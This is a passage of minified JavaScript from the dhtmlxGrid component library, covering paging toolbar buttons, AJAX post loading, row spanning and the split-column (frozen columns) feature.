\"+g.i18n.paging.perpage);break;case\"pages\":if(h[1]===this.undefined){return}g.changePage(h[1]);g.aToolBar.setItemText(\"pages\",g.i18n.paging.page+h[1]);break}});if(this._WTDef[0]){this.aToolBar.addButton(\"leftabs\",NaN,null,\"ar_left_abs.gif\",\"ar_left_abs_dis.gif\");this.aToolBar.addButton(\"left\",NaN,null,\"ar_left.gif\",\"ar_left_dis.gif\")}if(this._WTDef[1]){this.aToolBar.addText(\"results\",NaN,this.i18n.paging.results);this.aToolBar.setWidth(\"results\",\"150\");this.aToolBar.disableItem(\"results\")}if(this._WTDef[0]){this.aToolBar.addButton(\"right\",NaN,null,\"ar_right.gif\",\"ar_right_dis.gif\");this.aToolBar.addButton(\"rightabs\",NaN,null,\"ar_right_abs.gif\",\"ar_right_abs_dis.gif\")}if(this._WTDef[2]){if(this.aToolBar.conf.skin==\"dhx_terrace\"){this.aToolBar.addSeparator()}this.aToolBar.addButtonSelect(\"pages\",NaN,\"select page\",[],\"paging_pages.gif\",null,false,true)}var a;if(a=this._WTDef[3]){if(this.aToolBar.conf.skin==\"dhx_terrace\"){this.aToolBar.addSeparator()}this.aToolBar.addButtonSelect(\"perpagenum\",NaN,\"select size\",[],\"paging_rows.gif\",null,false,true);if(typeof a!=\"object\"){a=[100,200,300,400,500,1000]}var c={dhx_skyblue:4,dhx_web:0,dhx_terrace:18}[this.aToolBar.conf.skin];for(var e=0;e<a.length;e++){this.aToolBar.addListOption(\"perpagenum\",\"perpagenum_\"+a[e],NaN,\"button\",\"<span style='padding: 0px \"+c+\"px 0px 0px;'>\"+a[e]+\" \"+this.i18n.paging.perpage+\"</span>\",\"paging_page.gif\")}}return this.aToolBar};dhtmlXGridObject.prototype.post=function(a,c,g,e){this.callEvent(\"onXLS\",[this]);if(arguments.length==2&&typeof g!=\"function\"){e=g;g=null}e=e||\"xml\";if(!this.xmlFileUrl){this.xmlFileUrl=a}this._data_type=e;this.xmlLoader=this.doLoadDetails;var h=this;this.xmlLoader=function(l){if(!h.callEvent){return}h[\"_process_\"+e](l.xmlDoc);if(!h._contextCallTimer){h.callEvent(\"onXLE\",[h,0,0,l.xmlDoc])}if(g){g();g=null}};dhx4.ajax.post(a,(c||\"\"),this.xmlLoader)};dhtmlXGridObject.prototype.setRowspan=function(q,u,h){var s=this[this._bfs_cells?\"_bfs_cells\":\"cells\"](q,u).cell;var a=this.rowsAr[q];if(s.rowSpan&&s.rowSpan!=1){var l=a.nextSibling;for(var n=1;n<s.rowSpan;n++){var m=l.childNodes[l._childIndexes[s._cellIndex+1]];var e=document.createElement(\"TD\");e.innerHTML=\"&nbsp;\";e._cellIndex=s._cellIndex;e._clearCell=true;if(m){m.parentNode.insertBefore(e,m)}else{l.parentNode.appendChild(e)}this._shiftIndexes(l,s._cellIndex,-1);l=l.nextSibling}}s.rowSpan=h;if(!this._h2){a=a.nextSibling||this.rowsCol[this.rowsCol._dhx_find(a)+1]}else{a=this.rowsAr[this._h2.get[a.idd].parent.childs[this._h2.get[a.idd].index+1].id]}var g=[];for(var n=1;n<h;n++){var o=null;if(this._fake&&!this._realfake){o=this._bfs_cells3(a,u).cell}else{o=this.cells3(a,u).cell}this._shiftIndexes(a,s._cellIndex,1);if(o){o.parentNode.removeChild(o)}g.push(a);if(!this._h2){a=a.nextSibling||this.rowsCol[this.rowsCol._dhx_find(a)+1]}else{var a=this._h2.get[a.idd].parent.childs[this._h2.get[a.idd].index+1];if(a){a=this.rowsAr[a.id]}}}this.rowsAr[q]._rowSpan=this.rowsAr[q]._rowSpan||{};this.rowsAr[q]._rowSpan[u]=g;if(this._fake&&!this._realfake&&u<this._fake._cCount){this._fake.setRowspan(q,u,h)}};dhtmlXGridObject.prototype._shiftIndexes=function(a,g,c){if(!a._childIndexes){a._childIndexes=new Array();for(var e=0;e<a.childNodes.length;e++){a._childIndexes[e]=e}}for(var e=0;e<a._childIndexes.length;e++){if(e>g){a._childIndexes[e]=a._childIndexes[e]-c}}};dhtmlXGridObject.prototype.enableRowspan=function(){this._erspan=true;this.enableRowspan=function(){};this.attachEvent(\"onAfterSorting\",function(){if(this._dload){return}for(var h=1;h<this.obj.rows.length;h++){if(this.obj.rows[h]._rowSpan){var a=this.obj.rows[h];for(var l in a._rowSpan){var o=a;var c=o._rowSpan[l];for(var e=0;e<c.length;e++){if(o.nextSibling){o.parentNode.insertBefore(c[e],o.nextSibling)}else{o.parentNode.appendChild(c[e])}if(this._fake){var g=this._fake.rowsAr[o.idd];var m=this._fake.rowsAr[c[e].idd];if(g.nextSibling){g.parentNode.insertBefore(m,g.nextSibling)}else{g.parentNode.appendChild(m)}this._correctRowHeight(o.idd)}o=o.nextSibling}}}}var n=this.rowsCol.stablesort;this.rowsCol=new dhtmlxArray();this.rowsCol.stablesort=n;for(var h=1;h<this.obj.rows.length;h++){this.rowsCol.push(this.obj.rows[h])}});this.attachEvent(\"onXLE\",function(g,e,q,l){for(var m=0;m<this.rowsBuffer.length;m++){var o=this.render_row(m);var n=o.childNodes;for(var h=0;h<n.length;h++){if(n[h]._attrs.rowspan){this.setRowspan(o.idd,n[h]._cellIndex,n[h]._attrs.rowspan)}}}})};dhx4.attachEvent(\"onGridCreated\",function(a){if(a._split_later){a.splitAt(a._split_later)}});dhtmlXGridObject.prototype.splitAt=function(m){if(!this.obj.rows[0]){return this._split_later=m}m=parseInt(m);var w=document.createElement(\"DIV\");this.entBox.appendChild(w);var x=document.createElement(\"DIV\");this.entBox.appendChild(x);for(var u=this.entBox.childNodes.length-3;u>=0;u--){x.insertBefore(this.entBox.childNodes[u],x.firstChild)}this.entBox.style.position=\"relative\";this.globalBox=this.entBox;this.entBox=x;x.grid=this;w.style.cssText+=\"border:0px solid red !important;\";x.style.cssText+=\"border:0px solid red !important;\";x.style.top=\"0px\";x.style.position=\"absolute\";w.style.position=\"absolute\";w.style.top=\"0px\";w.style.left=\"0px\";w.style.zIndex=11;x.style.height=w.style.height=this.globalBox.clientHeight;this._fake=new dhtmlXGridObject(w);this.globalBox=this._fake.globalBox=this.globalBox;this._fake._fake=this;this._fake._realfake=true;this._treeC=this.cellType._dhx_find(\"tree\");this._fake.delim=this.delim;this._fake.customGroupFormat=this.customGroupFormat;this._fake.setImagesPath(this._imgURL);this._fake.iconURL=this.iconURL;this._fake._customSorts=this._customSorts;this._fake.noHeader=this.noHeader;this._fake._enbTts=this._enbTts;this._fake._drsclmW=this._drsclmW;this._fake._htkebl=this._htkebl;this._fake.clists=this.clists;this._fake.fldSort=new Array();this._fake.selMultiRows=this.selMultiRows;this._fake.multiLine=this.multiLine;this._fake.smartTabOrder=this.smartTabOrder;if(this.multiLine||this._erspan){this.attachEvent(\"onCellChanged\",this._correctRowHeight);this.attachEvent(\"onRowAdded\",this._correctRowHeight);var c=function(){this.forEachRow(function(C){this._correctRowHeight(C)})};this.attachEvent(\"onPageChanged\",c);this.attachEvent(\"onXLE\",c);this.attachEvent(\"onResizeEnd\",c);if(!this._ads_count){this.attachEvent(\"onAfterSorting\",c)}if(this._srnd){this.attachEvent(\"onFilterEnd\",c)}this.attachEvent(\"onDistributedEnd\",c)}this.attachEvent(\"onGridReconstructed\",function(){this._fake.objBox.scrollTop=this.objBox.scrollTop});this._fake.loadedKidsHash=this.loadedKidsHash;if(this._h2){this._fake._h2=this._h2}this._fake._dInc=this._dInc;var n=[[],[],[],[],[],[],[]];var r=[\"hdrLabels\",\"initCellWidth\",\"cellType\",\"cellAlign\",\"cellVAlign\",\"fldSort\",\"columnColor\"];var h=[\"setHeader\",\"setInitWidths\",\"setColTypes\",\"setColAlign\",\"setColVAlign\",\"setColSorting\",\"setColumnColor\"];this._fake.callEvent=function(){var C=true;this._fake._split_event=true;var D=(arguments[0]==\"onScroll\");if(arguments[0]==\"onGridReconstructed\"||D){this._fake.callEvent.apply(this,arguments)}if(!D){C=this._fake.callEvent.apply(this._fake,arguments)}this._fake._split_event=false;return C};if(this._elmn){this._fake.enableLightMouseNavigation(true)}if(this.__cssEven||this._cssUnEven){this._fake.attachEvent(\"onGridReconstructed\",function(){this._fixAlterCss()})}this._fake._cssEven=this._cssEven;this._fake._cssUnEven=this._cssUnEven;this._fake._cssSP=this._cssSP;this._fake.isEditable=this.isEditable;this._fake._edtc=this._edtc;if(this._sst){this._fake.enableStableSorting(true)}this._fake._sclE=this._sclE;this._fake._dclE=this._dclE;this._fake._f2kE=this._f2kE;this._fake._maskArr=this._maskArr;this._fake._dtmask=this._dtmask;this._fake.combos=this.combos;var o=0;var a=this.globalBox.offsetWidth;for(var u=0;u<m;u++){for(var s=0;s<r.length;s++){if(this[r[s]]){n[s][u]=this[r[s]][u]}if(typeof n[s][u]==\"string\"){n[s][u]=n[s][u].replace(new RegExp(\"\\\\\"+this.delim,\"g\"),\"\\\\\"+this.delim)}}if(_isFF){n[1][u]=n[1][u]*1}if(this.cellWidthType==\"%\"){n[1][u]=Math.round(parseInt(this[r[1]][u])*a/100);o+=n[1][u]}else{o+=parseInt(this[r[1]][u])}this.setColumnHidden(u,true)}for(var s=0;s<r.length;s++){var q=n[s].join(this.delim);if(h[s]!=\"setHeader\"){if(q!=\"\"){this._fake[h[s]](q)}}else{this._fake[h[s]](q,null,this._hstyles)}}this._fake._strangeParams=this._strangeParams;this._fake._drsclmn=this._drsclmn;o=Math.min(this.globalBox.offsetWidth,o);x.style.left=o+\"px\";w.style.width=o+\"px\";x.style.width=Math.max(this.globalBox.offsetWidth-o,0);if(this._ecspn){this._fake._ecspn=true}this._fake.init();if(this.dragAndDropOff){this.dragger.addDragLanding(this._fake.entBox,this)}this._fake.objBox.style.overflow=\"hidden\";if(!dhtmlx.$customScroll){this._fake.objBox.style.overflowX=\"scroll\"}else{this._fake.objBox._custom_scroll_mode=\"\"}this._fake._srdh=this._srdh||20;this._fake._srnd=this._srnd;var y=this;function A(E){var D=E.wheelDelta/-40;if(E.wheelDelta===window.undefined){D=E.detail}var C=y.objBox;C.scrollTop+=D*40;if(E.preventDefault){E.preventDefault()}}dhtmlxEvent(this._fake.objBox,\"mousewheel\",A);dhtmlxEvent(this._fake.objBox,\"DOMMouseScroll\",A);function g(D,C){C.style.whiteSpace=\"\";var H=C.nextSibling;var E=C.parentNode;D.parentNode.insertBefore(C,D);if(!H){E.appendChild(D)}else{E.insertBefore(D,H)}var F=D.style.display;D.style.display=C.style.display;C.style.display=F}function v(K,S,L,D){var E=(new Array(m)).join(this.delim);var M=[];if(K==2){for(var I=0;I<m;I++){var C=S[K-1].cells[S[K-1]._childIndexes?S[K-1]._childIndexes[I]:I];if(C.rowSpan&&C.rowSpan>1){M[C._cellIndex]=C.rowSpan-1;D[K-1].cells[D[K-1]._childIndexes?D[K-1]._childIndexes[I]:I].rowSpan=C.rowSpan;C.rowSpan=1}}}for(K;K<S.length;K++){this._fake.attachHeader(E,null,L);D=D||this._fake.ftr.childNodes[0].rows;var P=m;var F=0;for(var J=0;J<P;J++){if(M[J]){M[J]=M[J]-1;if(_isIE||_isOpera){var H=document.createElement(\"TD\");if(_isFF){H.style.display=\"none\"}S[K].insertBefore(H,S[K].cells[0])}F++;continue}var O=D[K].cells[J-F];var N=S[K].cells[J-(_isIE?0:F)];var Q=N.rowSpan;g(O,N);if(Q>1){M[J]=Q-1;N.rowSpan=Q}if(D[K].cells[J].colSpan>1){S[K].cells[J].colSpan=D[K].cells[J].colSpan;P-=D[K].cells[J].colSpan-1;for(var I=1;I<D[K].cells[J].colSpan;I++){D[K].removeChild(D[K].cells[J+1])}}}}}if(this.hdr.rows.length>2){v.call(this,2,this.hdr.rows,\"_aHead\",this._fake.hdr.rows)}if(this.ftr){v.call(this,1,this.ftr.childNodes[0].rows,\"_aFoot\");this._fake.ftr.parentNode.style.bottom=(_isFF?2:1)+\"px\"}if(this.saveSizeToCookie){this.saveSizeToCookie=function(D,C){if(this._realfake){return this._fake.saveSizeToCookie.apply(this._fake,arguments)}if(!D){D=this.entBox.id}var F=new Array();var H=\"cellWidthPX\";for(var E=0;E<this[H].length;E++){if(E<m){F[E]=this._fake[H][E]}else{F[E]=this[H][E]}}F=F.join(\",\");this.setCookie(D,C,0,F);var F=(this.initCellWidth||(new Array)).join(\",\");this.setCookie(D,C,1,F);return true};this.loadSizeFromCookie=function(C){if(!C){C=this.entBox.id}var H=this._getCookie(C,1);if(!H){return}this.initCellWidth=H.split(\",\");var H=this._getCookie(C,0);var I=\"cellWidthPX\";this.cellWidthType=\"px\";var E=0;if((H)&&(H.length)){H=H.split(\",\");for(var D=0;D<H.length;D++){if(D<m){this._fake[I][D]=H[D];E+=H[D]*1}else{this[I][D]=H[D]}}}this._fake.entBox.style.width=E+\"px\";this._fake.objBox.style.width=E+\"px\";var F=this.globalBox.childNodes[1];F.style.left=E-(_isFF?0:0)+\"px\";if(this.ftr){this.ftr.style.left=E-(_isFF?0:0)+\"px\"}F.style.width=this.globalBox.offsetWidth-E+\"px\";this.setSizes();return true};this._fake.onRSE=this.onRSE}this.setCellTextStyleA=this.setCellTextStyle;this.setCellTextStyle=function(D,E,C){if(E<m){this._fake.setCellTextStyle(D,E,C)}this.setCellTextStyleA(D,E,C)};this.setRowTextBoldA=this.setRowTextBold;this.setRowTextBold=function(C){this.setRowTextBoldA(C);this._fake.setRowTextBold(C)};this.setRowColorA=this.setRowColor;this.setRowColor=function(D,C){this.setRowColorA(D,C);this._fake.setRowColor(D,C)};this.setRowHiddenA=this.setRowHidden;this.setRowHidden=function(D,C){this.setRowHiddenA(D,C);this._fake.setRowHidden(D,C)};this.setRowTextNormalA=this.setRowTextNormal;this.setRowTextNormal=function(C){this.setRowTextNormalA(C);this._fake.setRowTextNormal(C)};this.getChangedRows=function(E){var C=new Array();function D(H){for(var F=0;F<H.childNodes.length;F++){if(H.childNodes[F].wasChanged){return C[C.length]=H.idd}}}this.forEachRow(function(I){var H=this.rowsAr[I];var F=this._fake.rowsAr[I];if(H.tagName!=\"TR\"||!F||F.tagName!=\"TR\"){return}if(E&&H._added){C[C.length]=H.idd}else{if(!D(H)){D(F)}}});return C.join(this.delim)};this.setRowTextStyleA=this.setRowTextStyle;this.setRowTextStyle=function(D,C){this.setRowTextStyleA(D,C);if(this._fake.rowsAr[D]){this._fake.setRowTextStyle(D,C)}};this.lockRowA=this.lockRow;this.lockRow=function(D,C){this.lockRowA(D,C);this._fake.lockRow(D,C)};this.getColWidth=function(C){if(C<m){return parseInt(this._fake.cellWidthPX[C])}else{return parseInt(this.cellWidthPX[C])}};this.getColumnLabel=function(C){return this._fake.getColumnLabel.apply(((C<m)?this._fake:this),arguments)};this.setColWidthA=this._fake.setColWidthA=this.setColWidth;this.setColWidth=function(C,D){C=C*1;if(C<m){this._fake.setColWidthA(C,D)}else{this.setColWidthA(C,D)}if((C+1)<=m){this._fake._correctSplit(Math.min(this._fake.objBox.offsetWidth,this._fake.obj.offsetWidth))}};this.adjustColumnSizeA=this.adjustColumnSize;this.setColumnLabelA=this.setColumnLabel;this.setColumnLabel=function(D,C,H,F){var E=this;if(D<m){E=this._fake}return this.setColumnLabelA.apply(E,[D,C,H,F])};this.adjustColumnSize=function(C,D){if(C<m){if(_isIE){this._fake.obj.style.tableLayout=\"\"}this._fake.adjustColumnSize(C,D);if(_isIE){this._fake.obj.style.tableLayout=\"fixed\"}this._fake._correctSplit()}else{return this.adjustColumnSizeA(C,D)}};var e=\"cells\";this._bfs_cells=this[e];this[e]=function(){if(arguments[1]<m){return this._fake.cells.apply(this._fake,arguments)}else{return this._bfs_cells.apply(this,arguments)}};this._bfs_isColumnHidden=this.isColumnHidden;this.isColumnHidden=function(){if(parseInt(arguments[0])<m){return this._fake.isColumnHidden.apply(this._fake,arguments)}else{return this._bfs_isColumnHidden.apply(this,arguments)}};this._bfs_setColumnHidden=this.setColumnHidden;this.setColumnHidden=function(){if(parseInt(arguments[0])<m){this._fake.setColumnHidden.apply(this._fake,arguments);return this._fake._correctSplit()}else{return this._bfs_setColumnHidden.apply(this,arguments)}};var e=\"cells2\";this._bfs_cells2=this[e];this[e]=function(){if(arguments[1]<m){return this._fake.cells2.apply(this._fake,arguments)}else{return this._bfs_cells2.apply(this,arguments)}};var e=\"cells3\";this._bfs_cells3=this[e];this[e]=function(D,C){if(arguments[1]<m&&this._fake.rowsAr[arguments[0].idd]){if(this._fake.rowsAr[D.idd]&&this._fake.rowsAr[D.idd].childNodes.length==0){return this._bfs_cells3.apply(this,arguments)}arguments[0]=arguments[0].idd;return this._fake.cells.apply(this._fake,arguments)}else{return this._bfs_cells3.apply(this,arguments)}};var e=\"changeRowId\";this._bfs_changeRowId=this[e];this[e]=function(){this._bfs_changeRowId.apply(this,arguments);if(this._fake.rowsAr[arguments[0]]){this._fake.changeRowId.apply(this._fake,arguments)}};this._fake.getRowById=function(E){var D=this.rowsAr[E];if(!D&&this._fake.rowsAr[E]){D=this._fake.getRowById(E)}if(D){if(D.tagName!=\"TR\"){for(var C=0;C<this.rowsBuffer.length;C++){if(this.rowsBuffer[C]&&this.rowsBuffer[C].idd==E){return this.render_row(C)}}if(this._h2){return this.render_row(null,D.idd)}}return D}return null};if(this.collapseKids){this._fake._bfs_collapseKids=this.collapseKids;this._fake.collapseKids=function(){return this._fake.collapseKids.apply(this._fake,[this._fake.rowsAr[arguments[0].idd]])};this[\"_bfs_collapseKids\"]=this.collapseKids;this[\"collapseKids\"]=function(){var C=this[\"_bfs_collapseKids\"].apply(this,arguments);this._fake._h2syncModel();if(!this._cssSP){this._fake._fixAlterCss()}};this._fake._bfs_expandKids=this.expandKids;this._fake.expandKids=function(){this._fake.expandKids.apply(this._fake,[this._fake.rowsAr[arguments[0].idd]]);if(!this._cssSP){this._fake._fixAlterCss()}};this[\"_bfs_expandAll\"]=this.expandAll;this[\"expandAll\"]=function(){this._bfs_expandAll();this._fake._h2syncModel();if(!this._cssSP){this._fake._fixAlterCss()}};this[\"_bfs_collapseAll\"]=this.collapseAll;this[\"collapseAll\"]=function(){this._bfs_collapseAll();this._fake._h2syncModel();if(!this._cssSP){this._fake._fixAlterCss()}};this[\"_bfs_expandKids\"]=this.expandKids;this[\"expandKids\"]=function(){var C=this[\"_bfs_expandKids\"].apply(this,arguments);this._fake._h2syncModel();if(!this._cssSP){this._fake._fixAlterCss()}};this._fake._h2syncModel=function(){if(this._fake.pagingOn){this._fake._renderSort()}else{this._renderSort()}};this._updateTGRState=function(C){return this._fake._updateTGRState(C)}}if(this._elmnh){this._setRowHoverA=this._fake._setRowHoverA=this._setRowHover;this._unsetRowHoverA=this._fake._unsetRowHoverA=this._unsetRowHover;this._setRowHover=this._fake._setRowHover=function(){var C=this.grid;C._setRowHoverA.apply(this,arguments);var D=(_isIE?event.srcElement:arguments[0].target);D=C._fake.rowsAr[C.getFirstParentOfType(D,\"TD\").parentNode.idd];if(D){C._fake._setRowHoverA.apply(C._fake.obj,[{target:D.childNodes[0]},arguments[1]])}};this._unsetRowHover=this._fake._unsetRowHover=function(){if(arguments[1]){var C=this}else{var C=this.grid}C._unsetRowHoverA.apply(this,arguments);C._fake._unsetRowHoverA.apply(C._fake.obj,arguments)};this._fake.enableRowsHover(true,this._hvrCss);this.enableRowsHover(false);this.enableRowsHover(true,this._fake._hvrCss)}this._updateTGRState=function(C){if(!C.update||C.id==0){return}if(this.rowsAr[C.id].imgTag){this.rowsAr[C.id].imgTag.src=this.iconTree+C.state+\".gif\"}if(this._fake.rowsAr[C.id]&&this._fake.rowsAr[C.id].imgTag){this._fake.rowsAr[C.id].imgTag.src=this.iconTree+C.state+\".gif\"}C.update=false};this.copy_row=function(H){var C=H.cloneNode(true);C._skipInsert=H._skipInsert;var I=m;C._attrs={};C._css=H._css;if(this._ecspn){I=0;for(var F=0;(I<C.childNodes.length&&F<m);F+=(C.childNodes[I].colSpan||1)){I++}}while(C.childNodes.length>I){C.removeChild(C.childNodes[C.childNodes.length-1])}var E=I;for(var F=0;F<E;F++){if(this.dragAndDropOff){this.dragger.addDraggableItem(C.childNodes[F],this)}C.childNodes[F].style.display=(this._fake._hrrar?(this._fake._hrrar[F]?\"none\":\"\"):\"\");C.childNodes[F]._cellIndex=F;C.childNodes[F].combo_value=arguments[0].childNodes[F].combo_value;C.childNodes[F]._clearCell=arguments[0].childNodes[F]._clearCell;C.childNodes[F]._cellType=arguments[0].childNodes[F]._cellType;C.childNodes[F]._brval=arguments[0].childNodes[F]._brval;C.childNodes[F].val=arguments[0].childNodes[F].val;C.childNodes[F]._combo=arguments[0].childNodes[F]._combo;C.childNodes[F]._attrs=arguments[0].childNodes[F]._attrs;C.childNodes[F].chstate=arguments[0].childNodes[F].chstate;if(H._attrs.style){C.childNodes[F].style.cssText+=\";\"+H._attrs.style}if(C.childNodes[F].colSpan>1){this._childIndexes=this._fake._childIndexes}}if(this._h2&&this._treeC<m){var D=this._h2.get[arguments[0].idd];C.imgTag=C.childNodes[this._treeC].childNodes[0].childNodes[D.level];C.valTag=C.childNodes[this._treeC].childNodes[0].childNodes[D.level+2]}C.idd=H.idd;C.grid=this._fake;return C};var e=\"_insertRowAt\";this._bfs_insertRowAt=this[e];this[e]=function(){var D=this[\"_bfs_insertRowAt\"].apply(this,arguments);arguments[0]=this.copy_row(arguments[0]);var C=this._fake._insertRowAt.apply(this._fake,arguments);if(D._fhd){C.parentNode.removeChild(C);this._fake.rowsCol._dhx_removeAt(this._fake.rowsCol._dhx_find(C));D._fhd=false}return D};this._bfs_setSizes=this.setSizes;this.setSizes=function(){if(this._notresize){return}this._bfs_setSizes(this,arguments);this.sync_headers();if(this.sync_scroll()&&this._ahgr){this.setSizes()}var C=this.dontSetSizes?(this.entBox.offsetHeight+\"px\"):this.entBox.style.height;this._fake.entBox.style.height=C;this._fake.objBox.style.height=this.objBox.style.height;this._fake.hdrBox.style.height=this.hdrBox.style.height;this._fake.objBox.scrollTop=this.objBox.scrollTop;this._fake.setColumnSizes(this._fake.entBox.clientWidth);this.globalBox.style.width=parseInt(this.entBox.style.width)+parseInt(this._fake.entBox.style.width);if(!this.dontSetSizes){this.globalBox.style.height=C}};this.sync_scroll=this._fake.sync_scroll=function(D){var C=this.objBox.style.overflowX;if(this.obj.offsetWidth<=this.objBox.offsetWidth){if(!D){return this._fake.sync_scroll(true)}this.objBox.style.overflowX=\"hidden\";this._fake.objBox.style.overflowX=\"hidden\"}else{if(!dhtmlx.$customScroll){this.objBox.style.overflowX=\"scroll\";this._fake.objBox.style.overflowX=\"scroll\"}}return C!=this.objBox.style.overflowX};this.sync_headers=this._fake.sync_headers=function(){if(this.noHeader||(this._fake.hdr.scrollHeight==this.hdr.offsetHeight)||this.noHeaderResize){return}for(var D=1;D<this.hdr.rows.length;D++){var H=m;while(!this.hdr.rows[D].childNodes[H]){H--}var C=Math.min(this.hdr.rows[D].childNodes[H].scrollHeight+2,this.hdr.rows[D].scrollHeight);var F=this._fake.hdr.rows[D].scrollHeight;if(C!=F){this._fake.hdr.rows[D].style.height=this.hdr.rows[D].style.height=Math.max(C,F)+\"px\"}if(window._KHTMLrv){var E=0;while(this._fake._hrrar[E]){E++}this._fake.hdr.rows[D].childNodes[E].style.height=this.hdr.rows[D].childNodes[H].style.height=Math.max(C,F)+\"px\"}}this._fake.sync_headers};this._fake._bfs_setSizes=this._fake.setSizes;this._fake.setSizes=function(){if(this._fake._notresize){return}this._fake.setSizes()};var e=\"_doOnScroll\";this._bfs__doOnScroll=this[e];this[e]=function(){this._bfs__doOnScroll.apply(this,arguments);this._fake.objBox.scrollTop=this.objBox.scrollTop;this._fake._doOnScroll.apply(this._fake,arguments)};var e=\"selectAll\";this._bfs__selectAll=this[e];this[e]=function(){this._bfs__selectAll.apply(this,arguments);this._bfs__selectAll.apply(this._fake,arguments)};var e=\"doClick\";this._bfs_doClick=this[e];this[e]=function(){this[\"_bfs_doClick\"].apply(this,arguments);if(arguments[0].tagName==\"TD\"){var C=(arguments[0]._cellIndex>=m);if(!arguments[0].parentNode.idd){return}if(!C){arguments[0].className=arguments[0].className.replace(/cellselected/g,\"\")}if(!this._fake.rowsAr[arguments[0].parentNode.idd]){this._fake.render_row(this.getRowIndex(arguments[0].parentNode.idd))}arguments[0]=this._fake.cells(arguments[0].parentNode.idd,(C?0:arguments[0]._cellIndex)).cell;if(C){this._fake.cell=null}this._fake._bfs_doClick.apply(this._fake,arguments);if(C){this._fake.cell=this.cell}else{this.cell=this._fake.cell}if(this._fake.onRowSelectTime){clearTimeout(this._fake.onRowSelectTime)}if(C){arguments[0].className=arguments[0].className.replace(/cellselected/g,\"\");globalActiveDHTMLGridObject=this;this._fake.cell=this.cell}else{this.objBox.scrollTop=this._fake.objBox.scrollTop}}};this._fake._bfs_doClick=this._fake[e];this._fake[e]=function(){this[\"_bfs_doClick\"].apply(this,arguments);if(arguments[0].tagName==\"TD\"){var C=(arguments[0]._cellIndex<m);if(!arguments[0].parentNode.idd){return}arguments[0]=this._fake._bfs_cells(arguments[0].parentNode.idd,(C?m:arguments[0]._cellIndex)).cell;this._fake.cell=null;this._fake._bfs_doClick.apply(this._fake,arguments);this._fake.cell=this.cell;if(this._fake.onRowSelectTime){clearTimeout(this._fake.onRowSelectTime)}if(C){arguments[0].className=arguments[0].className.replace(/cellselected/g,\"\");globalActiveDHTMLGridObject=this;this._fake.cell=this.cell;this._fake.objBox.scrollTop=this.objBox.scrollTop}}};this.clearSelectionA=this.clearSelection;this.clearSelection=function(C){if(C){this._fake.clearSelection()}this.clearSelectionA()};this.moveRowUpA=this.moveRowUp;this.moveRowUp=function(C){if(!this._h2){this._fake.moveRowUp(C)}this.moveRowUpA(C);if(this._h2){this._fake._h2syncModel()}};this.moveRowDownA=this.moveRowDown;this.moveRowDown=function(C){if(!this._h2){this._fake.moveRowDown(C)}this.moveRowDownA(C);if(this._h2){this._fake._h2syncModel()}};this._fake.getUserData=function(){return this._fake.getUserData.apply(this._fake,arguments)};this._fake.setUserData=function(){return this._fake.setUserData.apply(this._fake,arguments)};this.getSortingStateA=this.getSortingState;this.getSortingState=function(){var C=this.getSortingStateA();if(C.length!=0){return C}return this._fake.getSortingState()};this.setSortImgStateA=this._fake.setSortImgStateA=this.setSortImgState;this.setSortImgState=function(D,C,F,E){this.setSortImgStateA(D,C,F,E);if(C*1<m){this._fake.setSortImgStateA(D,C,F,E);this.setSortImgStateA(false)}else{this._fake.setSortImgStateA(false)}};this._fake.doColResizeA=this._fake.doColResize;this._fake.doColResize=function(H,F,E,C,J){var D=-1;var I=0;if(arguments[1]._cellIndex==(m-1)){D=this._initalSplR+(H.clientX-C);if(!this._initalSplF){this._initalSplF=arguments[3]+this.objBox.scrollWidth-this.objBox.offsetWidth}if(this.objBox.scrollWidth==this.objBox.offsetWidth&&(this._fake.alter_split_resize||(H.clientX-C)>0)){arguments[3]=(this._initalSplF||arguments[3]);I=this.doColResizeA.apply(this,arguments)}else{I=this.doColResizeA.apply(this,arguments)}}else{if(this.obj.offsetWidth<this.entBox.offsetWidth){D=this.obj.offsetWidth}I=this.doColResizeA.apply(this,arguments)}if(I!==false){this._correctSplit(D);this.resized=this._fake.resized=1}return I};this._fake.changeCursorState=function(E){var D=E.target||E.srcElement;if(D.tagName!=\"TD\"){D=this.getFirstParentOfType(D,\"TD\")}if((D.tagName==\"TD\")&&(this._drsclmn)&&(!this._drsclmn[D._cellIndex])){return}var C=(E.layerX||0)+(((!_isIE)&&(E.target.tagName==\"DIV\"))?D.offsetLeft:0);var F=parseInt(this.getPosition(D,this.hdrBox));if(((D.offsetWidth-(E.offsetX||(F-C)*-1))<(_isOpera?20:10))||((this.entBox.offsetWidth-(E.offsetX?(E.offsetX+D.offsetLeft):C)+this.objBox.scrollLeft-0)<(_isOpera?20:10))){D.style.cursor=\"E-resize\"}else{D.style.cursor=\"default\"}if(_isOpera){this.hdrBox.scrollLeft=this.objBox.scrollLeft}};this._fake.startColResizeA=this._fake.startColResize;this._fake.startColResize=function(D){var E=this.startColResizeA(D);this._initalSplR=this.entBox.offsetWidth;this._initalSplF=null;if(this.entBox.onmousemove){var C=this.entBox.parentNode;if(C._aggrid){return E}C._aggrid=C.grid;C.grid=this;this.entBox.parentNode.onmousemove=this.entBox.onmousemove;this.entBox.onmousemove=null}return E};this._fake.stopColResizeA=this._fake.stopColResize;this._fake.stopColResize=function(D){if(this.entBox.parentNode.onmousemove){var C=this.entBox.parentNode;C.grid=C._aggrid;C._aggrid=null;this.entBox.onmousemove=this.entBox.parentNode.onmousemove;this.entBox.parentNode.onmousemove=null;if(this.obj.offsetWidth<this.entBox.offsetWidth){this._correctSplit(this.obj.offsetWidth)}}return this.stopColResizeA(D)};this.doKeyA=this.doKey;this._fake.doKeyA=this._fake.doKey;function l(F,D,K,J){var E=J.shiftKey?-1:1;var C=J.shiftKey?-1:K._cCount;var I=false;for(var H=F+E;H!=C;H+=E){if(K.smartTabOrder){I=K.cells2(D,H).isDisabled()?false:H}else{I=H}if(I!==false){K.selectCell(D,I,false,false,true,true);J.cancelBubble=true;if(J.preventDefault){J.preventDefault()}return true}}}this._fake.doKey=this.doKey=function(H){if(!H){return true}if(this._htkebl){return true}if((H.target||H.srcElement).value!==window.undefined){var D=(H.target||H.srcElement);if((!D.parentNode)||(D.parentNode.className.indexOf(\"editable\")==-1)){return true}}switch(H.keyCode){case 9:var F=this._realfake?this._fake:this;if(!F.callEvent(\"onTab\",[true])){return true}if(this.cell){var E=this.cell._cellIndex;var C=F.getRowIndex(this.cell.parentNode.idd);while(!l(E,C,F,H)){C+=(H.shiftKey?-1:1);if(C<0||C>=F.rowsBuffer.length){return}E=H.shiftKey?F._cCount:-1}return}break}return this.doKeyA(H)};this.editCellA=this.editCell;this.editCell=function(){if(this.cell&&this.cell.parentNode.grid!=this){return this._fake.editCell()}return 